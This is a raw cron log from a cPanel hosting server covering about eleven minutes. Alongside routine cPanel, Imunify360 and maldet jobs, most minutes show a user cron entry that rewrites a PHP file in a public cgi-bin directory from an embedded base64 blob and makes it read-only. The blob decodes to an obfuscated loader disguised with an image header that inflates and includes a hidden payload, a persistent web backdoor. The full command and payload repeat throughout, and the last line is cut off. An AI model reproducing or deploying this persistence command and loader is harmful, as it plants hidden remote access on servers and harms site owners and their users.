Sep  4 16:39:02 server CROND[8089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:39:02 server CROND[8090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:39:02 server CROND[8091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:39:02 server CROND[8092]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 16:40:01 server CROND[8473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:40:01 server CROND[8475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:40:01 server CROND[8478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:40:01 server CROND[8476]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:40:01 server CROND[8480]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:40:01 server CROND[8477]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 16:40:01 server CROND[8479]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 16:40:01 server CROND[8482]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 16:41:01 server CROND[9305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:41:01 server CROND[9306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:41:01 server CROND[9307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:42:01 server CROND[9689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:42:01 server CROND[9690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:42:01 server CROND[9691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:42:01 server CROND[9692]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 16:43:01 server CROND[10082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:43:01 server CROND[10083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:43:01 server CROND[10084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:44:01 server CROND[10549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:44:01 server CROND[10548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:44:01 server CROND[10550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:45:01 server CROND[10934]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:45:01 server CROND[10936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:45:01 server CROND[10937]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 16:45:01 server CROND[10938]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 16:45:01 server CROND[10939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:45:01 server CROND[10941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:45:01 server CROND[10940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:46:01 server CROND[11768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:46:01 server CROND[11769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:46:01 server CROND[11770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:47:01 server CROND[12132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:47:01 server CROND[12133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:47:01 server CROND[12136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:48:01 server CROND[12524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:48:01 server CROND[12523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:48:01 server CROND[12525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:49:01 server CROND[12978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:49:01 server CROND[12979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:49:01 server CROND[12980]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:50:01 server CROND[13412]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 16:50:01 server CROND[13413]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:50:01 server CROND[13417]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 16:50:01 server CROND[13418]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:50:01 server CROND[13420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:50:01 server CROND[13421]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 16:50:01 server CROND[13424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 